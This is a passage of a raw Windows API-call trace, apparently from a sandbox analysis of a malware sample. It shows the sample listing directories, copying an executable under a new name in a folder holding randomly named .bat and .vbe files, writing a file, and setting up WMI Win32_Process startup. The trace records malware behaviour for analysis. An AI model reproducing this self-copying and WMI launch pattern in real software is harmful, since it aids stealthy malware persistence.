nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0156.212] FindNextFileW (in: hFindFile=0x1a9d84e0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1f2b3de0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1f2b3de0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0156.212] FindNextFileW (in: hFindFile=0x1a9d84e0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0156.212] FindNextFileW (in: hFindFile=0x1a9d84e0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa3740380, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xbd8bb9c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xbd8bb9c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0156.212] FindNextFileW (in: hFindFile=0x1a9d84e0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0156.212] FindNextFileW (in: hFindFile=0x1a9d84e0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f52c4b0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9f52c4b0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0156.212] FindNextFileW (in: hFindFile=0x1a9d84e0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0156.212] FindClose (in: hFindFile=0x1a9d84e0 | out: hFindFile=0x1a9d84e0) returned 1 [0156.212] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0156.213] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0156.213] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0156.213] GetFullPathNameW (in: lpFileName="C:\\comproviderRuntimecommon", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\comproviderRuntimecommon", lpFilePart=0x0) returned 0x1b [0156.213] FindFirstFileW (in: lpFileName="C:\\comproviderRuntimecommon\\*" (normalized: "c:\\comproviderruntimecommon\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd213bc0, ftCreationTime.dwHighDateTime=0x1d8a92a, ftLastAccessTime.dwLowDateTime=0x1889f2e0, ftLastAccessTime.dwHighDateTime=0x1d8a92a, ftLastWriteTime.dwLowDateTime=0x1889f2e0, ftLastWriteTime.dwHighDateTime=0x1d8a92a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a9d84e0 [0156.214] FindNextFileW (in: hFindFile=0x1a9d84e0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd213bc0, ftCreationTime.dwHighDateTime=0x1d8a92a, ftLastAccessTime.dwLowDateTime=0x1889f2e0, ftLastAccessTime.dwHighDateTime=0x1d8a92a, ftLastWriteTime.dwLowDateTime=0x1889f2e0, ftLastWriteTime.dwHighDateTime=0x1d8a92a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.214] FindNextFileW (in: hFindFile=0x1a9d84e0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1889f2e0, ftCreationTime.dwHighDateTime=0x1d8a92a, ftLastAccessTime.dwLowDateTime=0x1889f2e0, ftLastAccessTime.dwHighDateTime=0x1d8a92a, ftLastWriteTime.dwLowDateTime=0x188c5440, ftLastWriteTime.dwHighDateTime=0x1d8a92a, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x0, dwReserved1=0x0, cFileName="c34a7c10ac282e", cAlternateFileName="C34A7C~1")) returned 1 [0156.214] FindNextFileW (in: hFindFile=0x1a9d84e0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd390980, ftCreationTime.dwHighDateTime=0x1d8a92a, ftLastAccessTime.dwLowDateTime=0xd390980, ftLastAccessTime.dwHighDateTime=0x1d8a92a, ftLastWriteTime.dwLowDateTime=0x56793222, ftLastWriteTime.dwHighDateTime=0x1d8a510, nFileSizeHigh=0x0, nFileSizeLow=0xcf200, dwReserved0=0x0, dwReserved1=0x0, cFileName="chainsavesref.exe", cAlternateFileName="CHAINS~1.EXE")) returned 1 [0156.214] FindNextFileW (in: hFindFile=0x1a9d84e0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2f8400, ftCreationTime.dwHighDateTime=0x1d8a92a, ftLastAccessTime.dwLowDateTime=0xd2f8400, ftLastAccessTime.dwHighDateTime=0x1d8a92a, ftLastWriteTime.dwLowDateTime=0x525af602, ftLastWriteTime.dwHighDateTime=0x1d8a510, nFileSizeHigh=0x0, nFileSizeLow=0x2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DLLiR59GMmL352HHbgfc.bat", cAlternateFileName="DLLIR5~1.BAT")) returned 1 [0156.214] FindNextFileW (in: hFindFile=0x1a9d84e0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd428f00, ftCreationTime.dwHighDateTime=0x1d8a92a, ftLastAccessTime.dwLowDateTime=0xd428f00, ftLastAccessTime.dwHighDateTime=0x1d8a92a, ftLastWriteTime.dwLowDateTime=0x5267a017, ftLastWriteTime.dwHighDateTime=0x1d8a510, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="et1pu6VAlkUOY7GuC90A.vbe", cAlternateFileName="ET1PU6~1.VBE")) returned 1 [0156.214] FindNextFileW (in: hFindFile=0x1a9d84e0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18794940, ftCreationTime.dwHighDateTime=0x1d8a92a, ftLastAccessTime.dwLowDateTime=0x18794940, ftLastAccessTime.dwHighDateTime=0x1d8a92a, ftLastWriteTime.dwLowDateTime=0x56793222, ftLastWriteTime.dwHighDateTime=0x1d8a510, nFileSizeHigh=0x0, nFileSizeLow=0xcf200, dwReserved0=0x0, dwReserved1=0x0, cFileName="whatever_only.exe", cAlternateFileName="WHATEV~1.EXE")) returned 1 [0156.214] FindNextFileW (in: hFindFile=0x1a9d84e0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18794940, ftCreationTime.dwHighDateTime=0x1d8a92a, ftLastAccessTime.dwLowDateTime=0x18794940, ftLastAccessTime.dwHighDateTime=0x1d8a92a, ftLastWriteTime.dwLowDateTime=0x56793222, ftLastWriteTime.dwHighDateTime=0x1d8a510, nFileSizeHigh=0x0, nFileSizeLow=0xcf200, dwReserved0=0x0, dwReserved1=0x0, cFileName="whatever_only.exe", cAlternateFileName="WHATEV~1.EXE")) returned 0 [0156.214] FindClose (in: hFindFile=0x1a9d84e0 | out: hFindFile=0x1a9d84e0) returned 1 [0156.214] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0156.214] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0156.218] GetFullPathNameW (in: lpFileName="C:\\comproviderRuntimecommon\\but inside save.exe", nBufferLength=0x105, lpBuffer=0x1bb7e7f0, lpFilePart=0x0 | out: lpBuffer="C:\\comproviderRuntimecommon\\but inside save.exe", lpFilePart=0x0) returned 0x2f [0156.219] GetFullPathNameW (in: lpFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe", nBufferLength=0x105, lpBuffer=0x1bb7e640, lpFilePart=0x0 | out: lpBuffer="C:\\comproviderRuntimecommon\\chainsavesref.exe", lpFilePart=0x0) returned 0x2d [0156.219] GetFullPathNameW (in: lpFileName="C:\\comproviderRuntimecommon\\but inside save.exe", nBufferLength=0x105, lpBuffer=0x1bb7e640, lpFilePart=0x0 | out: lpBuffer="C:\\comproviderRuntimecommon\\but inside save.exe", lpFilePart=0x0) returned 0x2f [0156.219] CopyFileW (lpExistingFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe" (normalized: "c:\\comproviderruntimecommon\\chainsavesref.exe"), lpNewFileName="C:\\comproviderRuntimecommon\\but inside save.exe" (normalized: "c:\\comproviderruntimecommon\\but inside save.exe"), bFailIfExists=0) returned 1 [0156.272] GetFullPathNameW (in: lpFileName="C:\\comproviderRuntimecommon\\e76e23195dba9d", nBufferLength=0x105, lpBuffer=0x1bb7e420, lpFilePart=0x0 | out: lpBuffer="C:\\comproviderRuntimecommon\\e76e23195dba9d", lpFilePart=0x0) returned 0x2a [0156.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e938) returned 1 [0156.272] CreateFileW (lpFileName="C:\\comproviderRuntimecommon\\e76e23195dba9d" (normalized: "c:\\comproviderruntimecommon\\e76e23195dba9d"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x2c0 [0156.273] GetFileType (hFile=0x2c0) returned 0x1 [0156.273] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e8a8) returned 1 [0156.273] GetFileType (hFile=0x2c0) returned 0x1 [0156.273] WriteFile (in: hFile=0x2c0, lpBuffer=0x28bb498*, nNumberOfBytesToWrite=0x3dc, lpNumberOfBytesWritten=0x1bb7e978, lpOverlapped=0x0 | out: lpBuffer=0x28bb498*, lpNumberOfBytesWritten=0x1bb7e978*=0x3dc, lpOverlapped=0x0) returned 1 [0156.274] CloseHandle (hObject=0x2c0) returned 1 [0156.276] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0156.276] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0156.276] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0156.276] IUnknown:Release (This=0x1a943398) returned 0x1 [0156.278] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bbd8de0) returned 0x0 [0156.278] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbd8de0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0156.279] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbd8de0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1aa0a4d0) returned 0x0 [0156.279] WbemDefPath:IUnknown:Release (This=0x1bbd8de0) returned 0x0 [0156.279] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a4d0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1aa0a4d0) returned 0x0 [0156.279] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a4d0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0156.279] WbemDefPath:IUnknown:AddRef (This=0x1aa0a4d0) returned 0x3 [0156.279] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a4d0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0156.279] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a4d0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0156.279] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a4d0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bbd8e20) returned 0x0 [0156.279] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbd8e20, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0156.279] WbemDefPath:IUnknown:Release (This=0x1bbd8e20) returned 0x3 [0156.279] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0156.279] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0156.280] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a4d0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0156.280] WbemDefPath:IUnknown:Release (This=0x1aa0a4d0) returned 0x2 [0156.280] WbemDefPath:IUnknown:Release (This=0x1aa0a4d0) returned 0x1 [0156.280] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0156.280] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0156.280] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a4d0, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1aa0a4d0) returned 0x0 [0156.280] WbemDefPath:IUnknown:AddRef (This=0x1aa0a4d0) returned 0x3 [0156.280] WbemDefPath:IUnknown:Release (This=0x1aa0a4d0) returned 0x2 [0156.280] WbemDefPath:IWbemPath:SetText (This=0x1aa0a4d0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0156.280] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a4d0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0156.280] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a4d0, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0xe, pszText=0x0) returned 0x0 [0156.280] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a4d0, lFlags=2, puBuffLength=0x1bb7e708*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e708*=0xe, pszText="Win32_Process") returned 0x0 [0156.280] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0a4d0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0156.280] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a4d0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0156.280] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0a4d0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0156.281] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0156.281] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0156.281] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0156.281] IUnknown:Release (This=0x1a943398) returned 0x1 [0156.282] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bbd89c0) returned 0x0 [0156.283] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbd89c0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0156.283] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbd89c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1aa0a350) returned 0x0 [0156.283] WbemDefPath:IUnknown:Release (This=0x1bbd89c0) returned 0x0 [0156.283] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a350, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1aa0a350) returned 0x0 [0156.283] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a350, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0156.283] WbemDefPath:IUnknown:AddRef (This=0x1aa0a350) returned 0x3 [0156.283] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a350, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0156.283] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a350, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0156.283] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a350, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bbd8b80) returned 0x0 [0156.284] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbd8b80, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0156.284] WbemDefPath:IUnknown:Release (This=0x1bbd8b80) returned 0x3 [0156.284] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0156.284] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0156.284] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a350, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0156.284] WbemDefPath:IUnknown:Release (This=0x1aa0a350) returned 0x2 [0156.284] WbemDefPath:IUnknown:Release (This=0x1aa0a350) returned 0x1 [0156.284] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0156.284] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0156.284] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a350, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1aa0a350) returned 0x0 [0156.284] WbemDefPath:IUnknown:AddRef (This=0x1aa0a350) returned 0x3 [0156.284] WbemDefPath:IUnknown:Release (This=0x1aa0a350) returned 0x2 [0156.284] WbemDefPath:IWbemPath:SetText (This=0x1aa0a350, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0156.284] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a350, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0156.284] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a350, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0x15, pszText=0x0) returned 0x0 [0156.284] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a350, lFlags=2, puBuffLength=0x1bb7e708*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e708*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0156.284] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0a350, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0156.284] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a350, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0156.284] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0a350, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0156.284] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a350, puCount=0x1bb7e670 | out: puCount=0x1bb7e670*=0x0) returned 0x0 [0156.285] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e630 | out: puCount=0x1bb7e630*=0x2) returned 0x0 [0156.285] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0x0, pszText=0x0 | out: 